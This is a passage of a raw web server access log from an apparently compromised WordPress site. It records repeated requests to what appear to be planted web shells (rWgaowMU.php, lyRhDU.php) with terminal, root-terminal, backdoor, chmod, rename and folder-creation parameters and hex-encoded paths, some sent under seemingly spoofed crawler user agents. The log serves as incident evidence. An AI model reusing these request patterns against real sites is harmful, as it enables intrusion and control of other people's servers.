Version/17.0.1 Safari/605.1.15" 51.75.128.94 - - [17/Nov/2025:12:24:49 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11690 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 51.75.128.94 - - [17/Nov/2025:12:24:54 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 14.228.210.44 - - [17/Nov/2025:12:26:34 +0000] "GET /assets/backuply/jquery/css/plugins/pagelayer/images/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.241.237.113 - - [17/Nov/2025:12:26:35 +0000] "GET /assets/assets-20251112184145/backuply-20251107214702/wp/jcfxeds/wp-contentaa/wp-adminaa/ HTTP/1.1" 200 667 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.78 Version/17.0 Mobile/15E148 Safari/604.1" 14.233.8.94 - - [17/Nov/2025:12:26:36 +0000] "GET /assets/plugins/js/js/includes/includes/includes/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.169.203.68 - - [17/Nov/2025:12:26:37 +0000] "GET /assets/backuply-20251107214702/upgrade/js/includes/plugins/siteseo/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.178.72.167 - - [17/Nov/2025:12:26:38 +0000] "GET /assets/assets-20251112184145/includes/css/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.65 Version/17.0 Mobile/15E148 Safari/604.1" 181.46.136.206 - - [17/Nov/2025:12:26:40 +0000] "GET /assets/assets-20251112184145/blocks/js/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 693 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.28.160.95 - - [17/Nov/2025:12:26:40 +0000] "GET /assets/network/includes/jcfxeds/wp-content/jcfxeds/wp-adminaa/ HTTP/1.1" 200 637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.181.14.41 - - [17/Nov/2025:12:26:40 +0000] "GET /assets/backuply/network/js/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 681 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Trailer/93.3.3516.28" 14.191.39.201 - - [17/Nov/2025:12:26:42 +0000] "GET /assets/backuply-20251107214702/css/themes/twentytwenty/inc/includes/ HTTP/1.1" 200 1100 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Config/92.2.2788.20" 14.234.60.181 - - [17/Nov/2025:12:26:42 +0000] "GET /assets/backuply/css/wp/js/includes/plugins/ HTTP/1.1" 200 687 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 181.116.45.35 - - [17/Nov/2025:12:26:43 +0000] "GET /assets/includes/includes/css/blocks/wp/prHCAMqyQ.php HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.183.61.5 - - [17/Nov/2025:12:26:43 +0000] "GET /assets/assets-20251112184145/includes/includes/css/backuply/wp/ HTTP/1.1" 200 716 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/117.0.2045.48 Version/17.0 Mobile/15E148 Safari/604.1" 14.191.178.251 - - [17/Nov/2025:12:26:34 +0000] "GET /assets/backuply-20251107214702/wp/includes/css/wp/eQssw.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 AtContent/95.5.5392.49" 113.180.148.245 - - [17/Nov/2025:12:26:35 +0000] "GET /assets/css/js/includes/includes/jcfxeds/wp-content/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:26:36 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f706c7567696e732f7770732d686964652d6c6f67696e HTTP/2" 200 3226 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.187.141.121 - - [17/Nov/2025:12:26:38 +0000] "GET /assets/assets/js/assets/js/js/includes/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Linux; Android 8.1.0; C5 2019 Build/OPM2.171019.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.64 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:26:38 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473 HTTP/2" 200 3166 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:40 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6373732f706c7567696e732f6261636b75706c79&rename=assets HTTP/2" 200 3209 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:42 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d696e636c756465732f77702d636f6e74656e7461612f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3195 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:44 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c75646573 HTTP/2" 200 3260 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.20.136.219 - - [17/Nov/2025:12:26:46 +0000] "GET /assets/wp/js/includes/plugins/wps-hide-login/languages/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:26:46 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73&rename=pagelayer HTTP/2" 200 3351 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.232.159.1 - - [17/Nov/2025:12:26:47 +0000] "GET /assets/backuply-20251107214702/js/js/js/includes/includes/ HTTP/1.1" 200 652 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 OpenWave/94.4.4504.39" 74.7.227.184 - - [17/Nov/2025:12:26:48 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6261636b75706c792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b HTTP/2" 200 3208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:49 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f626c6f636b73 HTTP/2" 200 3226 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 222.252.116.66 - - [17/Nov/2025:12:26:50 +0000] "GET /assets/backuply/network/js/includes/plugins/siteseo/ HTTP/1.1" 200 632 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPT/4.3.1" 113.178.232.131 - - [17/Nov/2025:12:26:51 +0000] "GET /assets/assets-20251112184145/blocks/includes/includes/css/wp/ HTTP/1.1" 200 655 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/121.0.2277.99 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:26:51 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f7468656d6573 HTTP/2" 200 3327 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.190.126.92 - - [17/Nov/2025:12:26:52 +0000] "GET /assets/assets-20251112184145/wp-includes/wp-contentaa/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 177.234.234.157 - - [17/Nov/2025:12:26:52 +0000] "GET /assets/assets-20251112184145/includes/css/themes/twentytwentyfour/assets/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.105 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:26:53 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f757067726164652f7770 HTTP/2" 200 3110 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.25.241.162 - - [17/Nov/2025:12:26:54 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/includes/upgrade/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.189.71.120 - - [17/Nov/2025:12:26:55 +0000] "GET /assets/assets-20251112184145/js/assets/js/includes/jcfxeds/ HTTP/1.1" 200 1014 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:26:55 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a71756572792f7770&rename=.htaccess HTTP/2" 200 3307 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.187.60.217 - - [17/Nov/2025:12:26:56 +0000] "GET /assets/css/wp/includes/includes/wp/mfKCGzdJq.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 123.20.241.160 - - [17/Nov/2025:12:26:57 +0000] "GET /assets/assets-20251112184145/includes/js/includes/jcfxeds/wp-content/ HTTP/1.1" 200 641 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5; rv:123.0esr) Gecko/20100101 Firefox/123.0esr" 74.7.227.184 - - [17/Nov/2025:12:26:57 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a71756572792f7770 HTTP/2" 200 3340 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:26:59 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f637373&rename=jquery HTTP/2" 200 3511 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.22.190.121 - - [17/Nov/2025:12:27:00 +0000] "GET /assets/wp-includes/wp-contentaa/js/plugins/wps-hide-login/languages/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.86 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:27:01 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3203 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.179.89 - - [17/Nov/2025:12:27:02 +0000] "GET /assets/assets-20251112184145/blocks/js/includes/includes/jcfxeds/ HTTP/1.1" 200 1017 "-" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36 PTST/240201.144844" 74.7.227.184 - - [17/Nov/2025:12:27:03 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c75646573 HTTP/2" 200 3309 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.20.15.127 - - [17/Nov/2025:12:27:05 +0000] "GET /assets/includes/js/js/js/includes/blocks/ HTTP/1.1" 200 623 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.191.168.143 - - [17/Nov/2025:12:27:05 +0000] "GET /assets/img/network/js/includes/jcfxeds/jcfxeds/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Android 8.1.0; Mobile; rv:123.0) Gecko/123.0 Firefox/123.0" 14.247.32.181 - - [17/Nov/2025:12:27:05 +0000] "GET /assets/assets-20251112184145/plugins/js/includes/themes/twentytwentythree/ HTTP/1.1" 200 661 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.141 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:27:05 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.169.39.199 - - [17/Nov/2025:12:27:06 +0000] "GET /assets/blocks/includes/js/js/includes/blocks/ HTTP/1.1" 200 623 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:27:07 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 200 3214 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.181.77.235 - - [17/Nov/2025:12:27:08 +0000] "GET /assets/backuply-20251107214702/wp-includes/wp-contentaa/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 51.75.128.94 - - [17/Nov/2025:12:27:08 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 14.234.176.82 - - [17/Nov/2025:12:27:09 +0000] "GET /assets/backuply/plugins/js/includes/themes/twentytwentyfour/ HTTP/1.1" 200 668 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:27:09 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=plugins&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3315 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:10 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11693 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 14.173.188.10 - - [17/Nov/2025:12:27:10 +0000] "GET /assets/css/img/includes/js/includes/themes/ HTTP/1.1" 200 661 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Agency/98.8.8188.80" 74.7.227.184 - - [17/Nov/2025:12:27:11 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3234 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:12 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp©=assets/assets-20251112184145/assets/assets-20251114194704/js/jquery/wps-hide-login/languages HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:12 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f696e636c75646573&rename=jcfxeds HTTP/2" 200 3267 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:13 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11942 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 14.162.247.19 - - [17/Nov/2025:12:26:44 +0000] "GET /assets/backuply-20251107214702/js/blocks/plugins/backuply/assets/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 123.20.57.38 - - [17/Nov/2025:12:26:44 +0000] "GET /assets/backuply-20251107214702/js/includes/css/wp/eQssw.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.78 Version/17.0 Mobile/15E148 Safari/604.1" 14.233.111.99 - - [17/Nov/2025:12:26:45 +0000] "GET /assets/css/wp/includes/css/wp/eQssw.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.62 Mobile/15E148 Safari/604.1" 113.187.127.205 - - [17/Nov/2025:12:26:48 +0000] "GET /assets/wp-content/wp-includes/network/js/includes/jcfxeds/ HTTP/1.1" 200 678 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.3 Mobile/15E148 Safari/604.1 RDDocuments/8.7.2.978" 113.172.194.247 - - [17/Nov/2025:12:26:50 +0000] "GET /assets/css/js/includes/backuply/wp/lyRhDU.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 203.162.189.197 - - [17/Nov/2025:12:26:53 +0000] "GET /assets/backuply-20251107214702/jquery/themes/twentytwenty/inc/jquery/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.78 Version/17.0 Mobile/15E148 Safari/604.1" 14.175.66.112 - - [17/Nov/2025:12:26:55 +0000] "GET /assets/assets-20251112184145/includes/includes/css/plugins/siteseo/ HTTP/1.1" 200 637 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.2.0" 222.255.244.47 - - [17/Nov/2025:12:26:55 +0000] "GET /assets/css/js/includes/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 201.251.38.181 - - [17/Nov/2025:12:26:59 +0000] "GET /assets/backuply-20251107214702/js/backuply/plugins/pagelayer/images/ HTTP/1.1" 200 641 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.161.95.178 - - [17/Nov/2025:12:27:01 +0000] "GET /assets/backuply-20251107214702/js/includes/css/plugins/backuply/ HTTP/1.1" 200 643 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.78 Version/17.0 Mobile/15E148 Safari/604.1" 14.191.153.168 - - [17/Nov/2025:12:27:03 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/themes/twentytwentythree/ HTTP/1.1" 200 653 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.182.21.15 - - [17/Nov/2025:12:27:11 +0000] "GET /templates/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.225.43.73 - - [17/Nov/2025:12:27:11 +0000] "GET /assets/assets/js/includes/includes/jcfxeds/wp-includes/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/121.0.2277.107 Version/17.0 Mobile/15E148 Safari/604.1" 165.165.116.201 - - [17/Nov/2025:12:27:13 +0000] "GET /assets/backuply/network/js/js/includes/backuply/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPT/4.3.1" 14.167.216.88 - - [17/Nov/2025:12:27:13 +0000] "GET /assets/css/fonts/js/js/js/jquery/ HTTP/1.1" 200 615 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.1.0" 74.7.227.184 - - [17/Nov/2025:12:27:14 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373&rename=blocks HTTP/2" 200 3501 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:15 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp©=assets/assets-20251112184145/assets/assets-20251114194704/js/js/upgrade/js HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 190.113.183.44 - - [17/Nov/2025:12:27:16 +0000] "GET /assets/img/includes/jcfxeds/wp-includes/wp-contentaa/wp-contentaa/ HTTP/1.1" 200 633 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; 